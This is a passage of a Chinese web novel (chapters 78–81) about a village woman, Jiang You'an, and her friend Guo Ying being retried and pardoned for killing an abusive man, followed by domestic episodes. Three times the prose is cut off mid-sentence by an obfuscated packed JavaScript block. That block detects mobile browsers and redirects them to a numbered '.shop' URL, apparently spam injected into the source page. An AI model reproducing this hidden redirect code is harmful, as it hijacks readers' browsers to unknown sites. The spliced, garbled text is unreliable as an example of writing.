第二天一早吃过饭,姜佑安坐在院子里晒太阳,等着黎泱泱前来,好享受美男在侧的好日子。 没想到黎泱泱没来,戴庭芳却来了,还是单独一个人来的。 “你怎么来了?明天才是教书的日子吧。”姜佑安问道。 “我辞了书院的工作,以后我每天都来教书。”戴庭芳说道。 “什么?你不去书院了?”姜佑安向戴庭芳的身后看去,“程祥呢?” 78. 重审 “他通过了书院的入学考试,去书院读书了,他现在是良民,可以参加科举了,他说他想了很久,决定要走科举这条路,我很支持他。”戴庭芳说道。 “走科举?”姜佑安点点头,“嗯,我也支持他,去书院读书还不用花钱,挺好。” “我在书房里加了一套桌椅给他用,他闲着可以用我的书房,不用跟着我到处跑了。”戴庭芳说道。 “程祥能遇到你这样的朋友,确实是幸运。”姜佑安笑着说道,“不过,你不用人服侍了吗?又找新人了?” “没有,我没什么需要服侍的,也不想再买个人进来。”戴庭芳说道。 “你不去书院了,令尊会很生气吧。”姜佑安说道。 “我爹以为我累了,同意我休息一阵。”戴庭芳说道。 姜佑安笑了笑,“毕竟是家中独子,连那么顽固的戴院长都会惯着你。” “我爹以后会明白的。”戴庭芳目光灼灼,眼神里少了些迷茫和颓丧,多了些坚定和希望,“前一阵子,书院里来了一个姓霍的学生,各方面都很优秀,可他越是优秀,我越是觉得痛苦,如今程祥也去书院读书了,他对未来是满怀希望,我觉得,也许我的想法是错的,他们是在为自己做选择,我不该这样为他们忧心,我们各有各的路要走,空想无益,我该去做我自己想做的事。” “戴公子竟像是重获新生了一般,跟以前真是完全不同了。”姜佑安不禁在心里感叹,呆美人竟变成一个鲜活的美人了,真让人移不开目光。 戴庭芳害羞地笑了笑,“这都是受到姜姑娘的启发。” “我?我启发你什么了?”姜佑安坐在椅子上,痴痴地看着戴庭芳,笑着问道。 “因为迷茫而一味地退缩、逃避和妥协,并不能解决问题,不如去想办法,去试错,说不定能找到冲破迷雾的路径。”戴庭芳说道。 “戴公子说得有理。”姜佑安夸赞道。 被姜佑安这样一直盯着脸看,戴庭芳觉得有些不自在,他往旁边走了走,“小阮不在吗?” 姜佑安随着戴庭芳的走动,转动头部,“不在,她和长风去菜园了,一会儿应该就回来了,戴公子,你也去搬个椅子来,咱们一起晒太阳吧。” 戴庭芳觉得反正无事可做,就听从姜佑安,搬了竹椅出来,坐在姜佑安身后不远处。 “戴公子怎么坐那么远?这样说话太不方便了吧。”姜佑安转过头,扒着椅背,笑着问道。 戴庭芳听了,便把椅子往前移了移,在姜佑安身旁坐了,“姜姑娘好像很喜欢晒太阳。” 姜佑安侧着脑袋,看着戴庭芳的脸,“天凉了,晒晒暖和,公子不喜欢吗?” “不清楚,我没有专门到院子里晒过太阳。”戴庭芳说道。 “以前屋里暖和,我也没有专门晒过,你闭上眼睛试试就知道了,很舒服的。”姜佑安说道。 戴庭芳靠在椅背上,仰着头闭上了眼睛,阳光撒在他白皙的皮肤上,看上去温润滑腻,姜佑安看得入了迷,真想去摸一摸,亲一亲。 “真的很舒服。”晒了一会儿之后,戴庭芳睁开眼睛,看向姜佑安,笑着说道。 姜佑安猛然从失神中惊醒,移开目光,咽了一下口水,“是吧,我不会骗你的。” “姜姑娘,你是在等黎公子吗?”戴庭芳问道。 “哈哈。”姜佑安尴尬地笑了两声,“被你发现了?” “昨天你让他抱你,还说让他今天再过来找你,你是想要追求黎公子吗?”戴庭芳接着问道。 “是程祥跟你说的吧。”姜佑安笑了笑,“我原本是有这个打算,不过,他那个爹实在让人厌烦,后来我想想,还是算了吧。” 戴庭芳暗暗松了口气,“我还以为你会为了黎公子,原谅黎老板。” “黎泱泱的脸和身材我是挺喜欢的,不过他和他爹的事,不能混为一谈。”姜佑安说道。 “你想报复黎老板吗?”戴庭芳问道。 “黎老板是对我有恶意,可赵雄也确实是我杀的,我拿他没办法,如果锦标社继续聚众赌博,我倒是还可以再告发一次。”姜佑安说道。 两人在院子里说着话,阮荷和李长风拿着菜篮子回来了,见戴庭芳也在,还以为是出了什么事,听了他的解释,阮荷很高兴,把菜留给姜佑安和李长风择,去屋里铺开了纸墨。 姜佑安还在等着黎泱泱,但他接连几天都没有来,姜佑安很失望,看来他不会再来了。 黎泱泱没来,县衙那边也没什么动静,不知道王世镜看到信了没有,会不会在意钟二娘这个案子,他不会真的选择包庇下属吧?姜佑安心里没底。 姜佑安感觉身体都恢复了,在院子里练习射箭,意外地看到郭英从二门走了进来,“你可让我好找,什么时候搬的家?”郭英笑着问道。 “郭英!你怎么来了?”姜佑安放下弓,高兴地迎了上去。 “我有一个食盒落在你这里了,今天正好路过,想要取回去。”郭英说道。 “食盒?”姜佑安转头向屋里大喊,“小阮,你知道郭英的食盒放在哪里了吗?” 阮荷从屋里走出来,“好像在原先的屋子里,现在要吗?我回去找一下?” “不用了,我也不着急用,等以后再拿也行。”郭英说道。 “你什么时候再来?我先去找出来。”姜佑安问道。 “下次再说吧,反正离得也不远,我走走就过来了。”郭英出了二门,拎了半篮子干蘑菇进来,“这个给你。” “这是什么蘑菇,怎么干巴巴的?”姜佑安问道。 “都是能吃的,吃的时候提前泡一下,炒着吃,煮着吃,都行。”郭英说道。 “多谢你了。”姜佑安笑着接过去,拿到厨房,倒到了自家筐里,把篮子拿出来还给郭英,“我没什么能回礼的,我们家的花田就在旁边,要不,我给你掐些菊花,你带回去吧。” “好啊。”郭英笑着答道,“我正想问问你呢,水仙花现在养起来,早不早啊?” “有点儿早了,十月末再养都来得及。”姜佑安说道,“你最近有去看过徐奶奶吗?” “没呢,我估计她也想到是我们干的了,我不好意思去见她。”郭英说道。 “说得也是。”姜佑安感叹道。 两人说着,正要出门去掐菊花,却见两个捕快走了进来,其中一人是曾景阳。 “正好你们都在,姜佑安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199669|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭英,跟我去衙门走一趟。”曾景阳说道。 姜佑安眉头一皱,觉得事情有些复杂,“赵雄的案子不都结了吗?怎么还要去衙门?” 屋里的戴庭芳、阮荷和李长风听到了动静,也都赶忙过来问道,“又有什么事要去衙门?” “知府大人要重审贾大人任期内有疑点的案子,赵雄的案子也要重审,请两位跟我走吧。”曾景阳说道。 姜佑安本意是让知府重审钟二娘的案子,没想到连赵雄的案子也要重审,还是王世镜亲自过问,这要是跟他见了面,自己的身份不就暴露了吗? “我不去!”姜佑安转身就要往门里进。 戴庭芳拦住了她,“姜姑娘,知府大人不怕麻烦,重审有疑点的案子,肯定是想调查清楚事件的真相,赵雄的为人,我们有目共睹,我们都和你同去,为你求情。” “这不是求情的事。”姜佑安为难地说道。 戴庭芳感到奇怪,“你不是说,你做的事,你自己承担后果吗?怎么这时候又退缩了?” “我是怕知府初来乍到,不清楚这边的情况,万一他被贾濂蒙蔽了怎么办?那我岂不是又有丧命的危险?”姜佑安说道。 “知府大人公务繁忙,不能亲自来查问,他派了推官孔大人来重审,孔大人名声很好,你就放心吧。”景向阳说道。 郭英把竹篮放在地上,坦然道:“既然如此,那我们去了,就实话实说吧。” “那倒也行,你可不许全往自己身上揽,我上次本来打算咬死不认的,都怪你,打乱了我的计划。”姜佑安说道。 “要是上了刑,你能顶得住?我才不信。”郭英说道。 “好了,别拌嘴了,赶紧上路吧。”曾景阳不耐烦地催促着。 两个捕快带着姜佑安和郭英出了大门,阮荷、李长风和戴庭芳都跟在后面,正巧袁竹和杨恩卖花也回来了,听说重审赵雄的案子,也要一起跟着去。 “你们去这么多人,也进不去衙门,戴公子、袁姑娘还有阮姑娘和此案有关,可以跟着一起去,其他人就别去了。”曾景阳说道。 “对,你们在家待着吧,有什么事,我再回来告诉你们。”袁竹说道。 留下了杨恩和李长风,一行人到了衙门,等了一阵子,才被叫到公堂问话。 来到堂上,见徐燕在堂下站着,姜佑安和郭英都羞愧地低下了头。 徐燕一看到姜佑安和郭英,马上着急地说道:“大人,我儿子的死跟这些姑娘们没有关系,你怎么又把她们叫来了?” “老人家,你不必着急,本官自会查明真相。”孔贺看向堂下的几人,“谁是姜佑安?” “民女是姜佑安。”姜佑安答道。 “经调查,赵雄身上断掉的箭头正是你明日里使用的,你作何解释?”孔贺问道。 “大人,赵雄是个地痞无赖,曾向袁竹勒索钱财,还到我家抢走了我们存下的全部银钱,更是意图□□阮荷,我曾来县衙报案,但知县拒不受理,我为了袁家的安宁和阮荷的安全,不得已才和郭英合谋,用弓箭杀死了赵雄,又把他推入河中。”姜佑安答道。 “说具体一点,你们是如何谋划的?又是如何实施的?”孔贺问道。 79. 冤屈 “去年九月十五,我遇到姜佑安,她听说赵雄曾为了找徐奶奶要钱,把徐奶奶打得晕倒在地,就气愤地说要杀了赵雄。”郭英说道。 听到这里,孔贺皱起了眉头。 “我正好也有此意,在徐奶奶那里听说了赵雄那几日可能会再回来找徐奶奶要钱,我就让姜佑安埋伏在河边,我在徐奶奶家里等着,赵雄回来了,我就以给他让他帮我办事为由,把他诱骗到河边,再由姜佑安将他射杀。”郭英说道。 “你之前的口供上说,赵雄去了你家勒索钱财,你是为此才想要杀了赵雄?”孔贺问道。 “不知如此。”郭英冷着脸说道:“先前他来我家里要钱,我爹娘软弱,也就给了,后来有一天,他直闯进我家,□□了我,我爹娘阻止,被赵雄暴打,两人卧病在床一个多月才好,我告到县衙,没有人理睬我,我不想让赵雄继续逍遥法外,才找到了赵雄家里。” “竟有这样的事!”徐燕心疼地走到郭英身边,拉着她的手,老泪纵横,“对不起,孩子,是我对不起你,都怪我没有教好自己的孩子,才让他害了你。” 郭英默默擦着泪,没说什么。 “大人!”徐燕向孔贺跪了下去,哭着说道:“都是我儿子该死!他该死!你放了这两个孩子吧!我不要她们给我儿子偿命!” “来人!搬椅子给老人家坐。”孔贺说道。 一旁的衙役马上搬了椅子来,扶着徐燕坐下。 “老人家,你且稍等片刻,等我问明了案情。”孔贺轻声说道:“老人家,赵雄曾为了向你要钱,殴打过你吗?” 徐燕含泪点点头,“他好赌,把家里的钱赌得一干二净,还来找我要钱,我哪有钱给他?他非说我把钱藏起来了,不给钱就打我,那天还把我打晕过去了,还好郭姑娘路过,把我扶了起来。” “赵雄勒索袁家钱财,还意图□□阮荷,此事可有证据?”孔贺问道。 “大人,我就是阮荷,我可以证明!”阮荷说道。 戴庭芳站了出来,“草民戴庭芳也可以证明,那天我去找表妹阮荷,亲眼看到赵雄翻墙进了袁家,持刀威胁阮荷拿出全部钱财,还意图□□她,当时袁家只有阮荷一人,如果不是我和我的小厮及时赶到,后果不堪设想!我当时同姜姑娘一起来县衙报案,却没人愿意受理,姜姑娘和郭姑娘这样做,实属无奈之举,还请大人从轻发落。” “大人,我是个花农,种的菊花最多,赵雄连续两年在我卖了菊花之后,找我要钱,我见他长得高大不好惹,只好给他了,要不是他欺负我们欺负得狠了,我们也不敢反抗,请大人放过她们两人吧!”袁竹恳切地说道。 “大人,赵雄为祸乡里多年,您如果不信我的证词,可以把我爹娘叫来问话。”郭英红着眼睛说道。 “不必了,这里有曾景阳捕快搜集的证词,可以证明赵雄确实像你们所说,是个欺男霸女的无耻之徒。”孔贺一拍惊堂木,扬声说道:“赵雄肆意抢劫、勒索,不光殴打他人,连生身母亲都不放过,还□□妇女、赌博斗殴,当真的是恶贯满盈,死不足惜!” 戴庭芳作揖拜道:“大人明鉴!” “不过,虽说赵雄是罪有应得,但毕竟人命关天,对姜佑安和郭英二人,也不得不作出处罚。”孔贺说道。“念在你们确实都是事出有因,且贾濂身为父母官却不理诉讼,致使你们有冤无处诉,才不得不杀害了赵雄,我今日做出判决,姜佑安、郭英二人,死罪可免活罪难逃,判你们二人入狱,刑期一年。” 徐燕拄着拐杖,从椅子上站了起来,“大人!赵雄是我儿子,我不要别人为了他受罚,大人你不知道,这两个姑娘对我可好了,又送吃的又送钱,我儿子都从来没有像她们对我这么好过,明明是我们母子俩对不起她们,她们却愿意原谅我这个老婆子,大人,求求你放了她们吧!” 孔贺想了想,向姜佑安和郭英问道:“念在赵雄的母亲愿意谅解你们,我就免了你们一年的牢狱刑罚,不过,你们二人要担负这位老人家的衣食,为她养老送终,你们可愿意?” 姜佑安和郭英纷纷点头,“我们愿意。” “好,把判决文书拿给她们签字画押。”孔贺说道。 书吏写了文书,给两人过目,两人看了意义签字画押。 姜佑安看着郭英画押,想起了钟二娘,她抬头向孔贺问道:“大人,我上次被关押入狱的时候,有一个叫钟二娘的女人关在我旁边的牢房,我听说她连自己什么罪名都不知道,就被抓了,不知道大人有没有重审她的案子?” “她啊?”孔贺显然对钟二娘有印象,“她是被丈夫诬陷的,前两天就已经被放出去了。” “那她丈夫呢?”姜佑安追问道。 “和知县勾结,构陷他人,自然是入狱了。”孔贺说道。 “那贾濂呢?”姜佑安又问道。 “贾濂该怎么处置就怎么处置,不用你操这个心,不关押你们已经是我大发慈悲了,别在这里纠缠,赶紧回家去吧!”孔贺拍了一下惊堂木,“把她们都带下去!传下一个案子的原告!” 见孔贺不容她们多说,姜佑安也就没再问,和郭英一起扶着徐燕走出了大堂,往衙门口走去。 曾景阳跟了过来,“现在县衙比较忙,我没时间送老人家回去,你们帮忙送她回去吧。” “行,交给我们吧,我们能无事释放,也多谢你了。”姜佑安说道。 “不客气,这都是我的本职工作,你可得小心,以后不要再被我抓到把柄。”曾景阳把一行人送出了衙门口,就转身回去了。 姜佑安向戴庭芳道了谢,和郭英、阮荷一起,把徐燕扶上了袁竹雇的马车,送她回家。 马车上,姜佑安和郭英一直在向徐燕道歉,徐燕也一直向两人道歉,回到徐燕家之后,三人约定,以后不再提此事,还像之前一样相处。 从徐燕家里出来,郭英就回家去了,姜佑安和袁竹、阮荷也一起走回了家。 李长风和杨恩都在门房待着,见她们回来了,忙高兴地迎了上去,“回来了?是不是没事了?” “没事了。”袁竹高兴地说道。 “谁说没事了?走了这一路,我都快要饿死了!小阮,你看看有什么吃的,能快点做了端上来的,我们跟你一起做。”姜佑安说道。 “好,我去看看。”阮荷答应着进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209883|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了二门,“怎么有饭菜的香味?” “我想着你们回来的时候该饿了,就跟长风提前做好了饭菜等着你们。”杨恩说道。 “太好了!”姜佑安感叹道:“一回来就有饭吃,太幸福了!” “我都是跟陈爷爷学着做的,不知道合不合你的胃口。”杨恩有些不好意思地说道。 姜佑安笑了笑,“有什么合不合胃口的,饿了有东西吃就是再好不过的了。” 几人进了厨房,盛了饭菜去堂屋吃,堂屋里摆了两张桌子,一张是原本袁家的桌子,用来吃饭,另一张是这个宅子里的,用来读书写字。 姜佑安在吃饭的桌边坐下,大口吃了好几口饭菜,夸赞杨恩的手艺不错,杨恩只是笑笑。 吃过了饭,几人都累了,杨恩让她们去歇一歇,自己去洗碗,李长风也跟着去了。 姜佑安在椅子上坐着没动,“这房子真宽敞,真不想搬走。” 阮荷赞同地点点头,袁竹说道:“什么时候咱们自己能住得起这样的宅子就好了。” 杨恩和李长风洗了碗进来,听她们还在谈论这个宅子,两人也都坐了下来。 “我有一件事想跟你们商量一下。”杨恩说道。 “什么事?”袁竹问道。 “陈爷爷的弟弟邀请他带着孙子一起去县里住,陈爷爷要搬走了,他想把村里的房子卖掉,这样,我就没地方住了。”杨恩说道。 “陈爷爷要搬走了?什么时候走?怎么都没听他提起过。”姜佑安惊讶地问道。 “有一阵子了,他看你们都比较忙,只悄悄跟我说了。”杨恩说道。 袁竹点点头,“嗯,这确实是个问题,你要是搬回来的话,不光房间太挤了点儿,连床都不够用,木匠家的房子要卖多少钱?要不我们凑钱把房子买下来吧,以后长风也大了,让他跟着你住。” “咱们手里的钱都不多,买房子我觉得不太合算,姜姑娘,我听阮姑娘说,你在弓箭社当教头,还要负责看着这个院子,你看能不能跟龙社长说一下,让我住在门房里,我可以帮她看院子,平时帮忙搬东西、打扫院子之类的,我也能干。”杨恩说道。 “这个嘛,我不好说她会不会同意。”姜佑安感到有些为难,“她不太喜欢女子弓箭社有男人出现,连长风跟来,她都不愿意。” “你就先问问吧,不同意再想其他办法。”袁竹说道。 “嗯,那我也去问问陈爷爷,他的房子要买多少钱。”杨恩说道。 这边正说着话,一个脆生生的女声从二门外传来,“姜娘子!” 姜佑安向外看去,见是李初五来了,农忙时节过了,她黑了些,好像也长高了些。 “你怎么来了?来射箭吗?”姜佑安高兴地走出了屋子。 李初五跨进了二门,身后的张慈也跟着走了进来。 袁竹迎了过去,笑着问道:“张姐也来了?今天怎么有功夫来这里串门?” 张慈脸上挂着无奈的笑,“我来是想找你们帮我个忙。” “什么忙?”袁竹问道。 “我听说姜佑安会写字,想让她帮我写一封休书。”张慈说道。 80. 休书 姜佑安看了看袁竹,有些愕然,“休书?我没写过,也不知道怎么写啊。” “谁要写休书?要休谁?”袁竹向张慈问道。 张慈眉梢眼角都是,“就写李元义休了我,因为我生不出儿子。” “什么?他要休了你?我这就去找他算账!”姜佑安说着就要出门,李长风也跟着要去。 张慈忙拉住姜佑安的衣袖,“不是,不是他要休了我,是我不想跟他过了。” 李初五牵着张慈的衣角,抿着嘴唇,有些茫然地看着眼前的一切。 袁竹还搞不清是什么情况,拉着张慈进屋,“坐下慢慢说吧。” 姜佑安和李初五跟在后面,李初五抬头看着她,轻声说道:“姜娘子,我有弟弟了。” “弟弟?”姜佑安刚进了屋,疑惑地看着张慈,“你怀孕了?还跟初五说,怀的是个男孩?” 张慈摇了摇头,“没有,要是能怀上孩子……”她迟疑着没有说下去。 众人都坐了,好奇地看着张慈和李初五,张慈坐在椅子上,李初五站在她身边,她搂着李初五,不知该怎么说。 “没有孩子,初五为什么说她有弟弟了?”姜佑安问道。 “是婆婆从亲戚家抱养了一个才刚会走的男孩,他终于有儿子了。”张慈说道。 “他家不是一直希望有个儿子吗?有儿子了,怎么还要休了你?”袁竹问道。 张慈红了眼眶,“不是他要休了我,是我想要他休了我,我不想再和他过了。” “他又打你了?”姜佑安问道。 “没有。”张慈摇了摇头。 “哎呀,到底怎么回事啊?你真是要急死我了!”姜佑安皱着眉头抱怨道。 袁竹瞪了她一眼,“你耐心点儿,听她慢慢说。” 张慈抱着李初五,忍不住抹眼泪。“自从家里有了个男孩,她们就要初五帮忙带着,带他玩儿,喂他吃饭,给他换尿布,初五也是个孩子,哪里能做得好?我说我来干这些,他们就天天夸男孩好,哭也夸,笑也夸,连拉屎都是好的,还要说初五笨、没用,就是想让初五伺候那孩子,明明我们才是一家人,他们却要初五去伺候一个别人家的孩子,我实在气不过,他们就是在故意气我和初五,我不跟他过了。” 李初五伸手擦着张慈脸上的泪,“娘,我没事,我可以照顾小弟弟。” 张慈抚摸着李初五的头发,“我只希望你好好长大,你不用想这些。” “依我看,李家得到了想要的孩子,就忽视你们娘俩,你们确实应该离开,不过,不应该写休书,休书都是男人休妻,你是女人休夫,我就帮你写一封弃夫书吧。”姜佑安说道。 “写什么书无所谓,张姐,你要带初五一起离开李家?你不是没有娘家可以回了吗?那你以后怎么办?”袁竹担心地问道。 “我还没想好。”张慈叹了口气,“我当时在气头上,就直接从家里出来了。” “咱们家不是在空着吗?就先让张姐和初五过去住,咱们再想办法吧。”姜佑安说道。 “要是长风搬出去的话,等我们回去了,让她俩住在东屋里应该可以。”阮荷说道。 “看来真得考虑买陈爷爷的房子了。”姜佑安说道。 姜佑安按自己的想法写了两封弃夫书,教张慈写了她的名字,然后拿去了李元义家,要他签字,李元义不认识字,不知道弃夫书上写了什么,也不会写自己的名字,姜佑安就给他念了一遍,李长风拿剑割破了李元义的手指,让他画了押。 袁竹和阮荷陪张慈和李初五回了袁家,把钥匙交给她俩,李长风和杨恩从李元义家拿了一套被褥,还把张慈和李初五的衣服都拿了出来,送到了袁家。 有了住处,还有了被褥和换洗衣服,张慈十分感激,袁竹又说家里的东西随她用,还有菜园里的菜,也都随便她们母女做着吃。 姜佑安又和杨恩一起推着板车,从李元义家拉了半车粮食回来,还说已经把弃夫书给村长看过了,以后张慈和李元义各过各的,可以随意嫁娶。 张慈和李初五谢了又谢,袁竹说原先也受过张慈不少照顾,让她安心地在袁家住下来,张慈点头答应,还说要和袁竹一起卖花去,袁竹也答应了。 回到弓箭社的宅子里,姜佑安想到了钟二娘,那个被丈夫辜负,糊里糊涂地入狱的女人,婆婆死了,丈夫入狱,没有孩子,父母在外地,她一个人在做些什么?想些什么呢? 也许她也像袁竹一样活着吧,种菜种地,也许像郭英一样活着,每日织布刺绣,可她性格懦弱,又不识字,以后的生活,还不知道会变成什么样。 姜佑安想做些什么,却又不知道做些什么好,她都不知道钟二娘的家在哪里,是不是回了家。 晚上,陈大用邀请袁家人去他家里吃饭,大家收拾收拾,带了些郭英送的干蘑菇和许家莺送的点心,久违地来到了陈大用家。 “陈爷爷,我听说你要搬走了。”姜佑安一进了院门,就向陈大用说道。 陈大用把菜摆上桌,笑着说道:“我年纪大了,木工活也快做不动了,正好我亲戚家要从县里搬走了,让我过去给他看宅子,我答应了,以后就在县里养老了。” “你孙子呢?”袁竹问道。 “今天已经被接去县里了,我说还要跟你们说一声,就先留下了,明天再过去。”陈大用说道:“来,饭菜都好了,来吃吧,我手艺没有小阮好,你们就将就一下吧。” 众人都坐了,姜佑安说道:“我看您的手艺也不错,中午杨恩给我们做的饭,说他是跟你学的,做得可好吃了。” 陈大用哈哈一笑,“那是杨恩聪明,一点就透,说不定还有做厨子的天分呢。” “还真说不定,以后杨恩做饭,小阮也可以换着歇歇了。”袁竹笑着说道。 大家都动筷吃着菜来,杨恩给陈大用倒了酒,“我看院子里都收拾干净了,您这房子卖了吗?” “卖了!当初我来到这里,人生地不熟的,盖这个房子真是不容易,现在要走了……”陈大用叹了口气,把杯中酒一饮而尽,“还真有些舍不得啊。” “您以后都不回来了吗?”阮荷问道。 “不回来了,人都不在了,我自己守着这个房子,实在没什么可守的。”陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222938|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大用说道。 想到陈大用这么大年纪,膝下只有一个孙子,想必经历了不少痛彻心扉的离别,姜佑安心里酸酸的,“您要搬到哪儿去,告诉我们位置,我们以后去卖花,就过去看您。” 陈大用笑了,“好啊,你们都是好孩子,我欢迎你们过去。” 陈大用问起袁家最近出了什么事,为什么总有官差来,袁竹和姜佑安都随便扯了几句谎,敷衍了过去。 吃过晚饭,陈大用拿出一瓦盆枣和一把崭新的弓来,说弓是特意给姜佑安做得,姜佑安非常高兴,抚摸着新弓,爱不释手,想付给陈大用钱,他却不肯收,还说自己明天一早就走了,不必过来送了。 几个人一路吃着枣子,带着陈大用的祝福,回到了山下的宅子里。 天一亮,得到了新弓的姜佑安就迫不及待地到院子里练上了,袁竹觉得院子里是走人的,在这里射箭太危险,就把她赶出去练了。 袁竹和张慈去县里卖花去了,李初五来和姜佑安一起练箭,两人正在院墙外埋靶子,马车载着戴庭芳来到了门口。 戴庭芳下了车,马车就回去了。 “戴公子,早上好啊。”姜佑安高兴地同他打招呼。 “早上好。”戴庭芳走过去,帮她俩扶着靶子,“郭姑娘的遭遇,你早就知道了?” 姜佑安把土拍实,把铁锨递给李初五,让她拿回院子里放着。 “我知道,我们动手的那天早上,她就把什么都告诉我了,她的遭遇,我没办法挽回,但为了阮荷着想,赵雄必须死。”姜佑安平静地说道。 戴庭芳低下头,“对不起,那天我不该那么说你。” 姜佑安抚摸着手上的弓,不经意地问道:“哪天?你说什么了?” “我们一起去赵雄家里的那天,我说你残忍血腥,还说你轻浮浅薄。”戴庭芳抬起头,看着姜佑安明亮的眼睛,“其实是我没有能力,还胆小懦弱,不能帮你们解决问题,只想着逃避,你迎难而上的样子,刺痛了我,让我忽略了赵雄殴打母亲、赌博成性还对阮表妹意图不轨的事实。” 姜佑安笑了笑,“你也没说错,我不仅猎杀动物,还杀了人,确实是残忍血腥,我胸无大志,只想多赚些钱,好跟年轻美貌的男人多亲近,也确实轻浮浅薄。” “不,我现在不这么看了,你打猎是为了生存,你和郭姑娘的做法也无可指摘,知县作为父母官,不能为百姓主持公道,若只是等着上天给予公平,只会让更多人受到伤害,让郭姑娘这样的受害者,永远活在加害者的阴影里。”戴庭芳说道。 “你这话我认同,当时我也说了过分的话,这件事就让它过去吧,咱们都别再提了。”姜佑安说道。 戴庭芳心里放松了不少,微笑着说道:“多亏了你送的那盆花和那封信,才让王知州派人来重新彻查,这位孔大人很是认真负责,听说他自从来了县衙,一日都不曾休息过。” “他审案是挺公正的,就是不知道为官怎么样。”姜佑安放下弓,向戴庭芳问道:“你知不知道贾濂现在在哪儿?他有没有受到什么处分了?是下狱了,还是调到其他地方当知县去了?” 81. 院长 “听说是送到知州府衙里审去了,还不知道是什么结果。”戴庭芳说道。 姜佑安叹了口气,“希望贾濂送的那盆菊花,不会让王世镜对他轻判。” 戴庭芳也没有底气,只安慰道:“应该不会。” 李初五蹲坐在院门口的台阶上,有些无聊地向两人喊道:“姜教头,你们聊完了没,什么时候可以开始射箭啊?” 姜佑安回过头,招呼李初五过来,“聊完了,你过来吧。” 戴庭芳笑着向姜佑安点点头,“那我先进去了。” “嗯。”姜佑安也点点头,心跳却抑制不住地加快了,这个男人,笑起来真好看!好想揉一揉他白净的脸,让他的脸色慢慢变红。 说起来,他面对龙世蓉和许家莺的时候,脸色都是正常的,他的病是不是好了? 李初五奇怪地看着姜佑安,“姜娘子,人都走了,你在看什么呢?” 姜佑安回过神来,冲李初五笑了笑,“没什么,咱们来训练吧。” 深秋的太阳,明亮但不灼热,两个人沐浴在金黄的阳光下,用力拉弓射向不远处的靶子。 有一阵子没射箭,李初五的射得准头差了很多,姜佑安用的是新弓,也不是十分趁手,两个人都耐心地练着,又有一辆马车停在了路边。 姜佑安本以为是龙世蓉来了,却见马车上下来的是一个陌生的车夫,车帘掀开,下来是许家莺,后面跟着周帛。 姜佑安收起弓,迎了上去,“真是稀奇,你今天怎么没和龙社长一起来?” 周帛向姜佑安点头打招呼,“龙社长很忙,没时间过来,是我找家莺姐姐一起来的。” 许家莺看到院墙边不远处的靶子,奇怪地问道:“怎么又在路边练箭了?里面院子里不是很空吗?” “袁竹嫌我在院里练危险,初五好久没练了,我也换了张新弓,在外面练保险些,省得伤到人,万一又射到了门窗上,也不好。”姜佑安解释道。 李初五过来拉着周帛的手,“走,咱么去练习。” “嗯。”周帛点点头,跟李初五走了。 “你要是不想在外面练,那就等过两天,我们搬回去的吧。”姜佑安说道。 “你们那房子的屋顶是不是还没修?”许家莺问道。 “还没呢,袁竹说找好了人,这两天就过来修。”姜佑安说道。 两个人往院子里走去,进了二门,听到阮荷在念书,便又走了出去,两人站在二门外小声说着话,许家莺跟姜佑安说起龙世蓉最近接手了古董店的事。 李初五和周帛走了进来,“姜娘子,我们渴了,有水喝吗?” “有,水壶在堂屋的桌子上,杯子也在旁边,小阮在读书,你们去了不要跟她说话,喝完水就出来。”姜佑安小声叮嘱道。 “嗯,好。”两个小姑娘点点头,轻手轻脚地走进了堂屋里,喝了水,过了好一会儿才走出来。 两人小跑着出了二门,向姜佑安问道:“阮姐姐念的是什么,真好听。”“阮姐姐是不是会读很多书啊?真厉害!” “我也不知道她读的什么。”姜佑安弯下腰,笑着说道:“你们也想念书吗?” “想!”“想!”李初五和周帛争着答道。 姜佑安直起腰来,“那我让你们和阮姐姐一起念书好不好?” “好啊!”李初五高兴地应道。 “真的可以吗?”周帛好似不太相信,“那个老师是你请来的吗?” “那个老师,是阮姐姐的表哥,你们去问问他,愿不愿意教你们识字,如果他愿意,我今天就给你们买纸笔。”姜佑安笑着说道。 李初五和周帛手牵手去了屋里,不一会儿就高兴地跑了出来,大声喊道:“阮姐姐的表哥说他愿意教我们。” 姜佑安点了点头,“那太好了!你们啊,以后可不能叫他阮姐姐的表哥,要叫他戴老师。” “嗯,我记住了,戴老师!”李初五说道。 “我们去读书的话,弓箭社怎么办?我还想学射箭。”周帛说道。 “嗯,这是个问题。”姜佑安摸着下巴暗自思索。 “姜教头,我也想一起学识字。”徐家莺说道。 “嗯?你不识字?”姜佑安很惊讶。 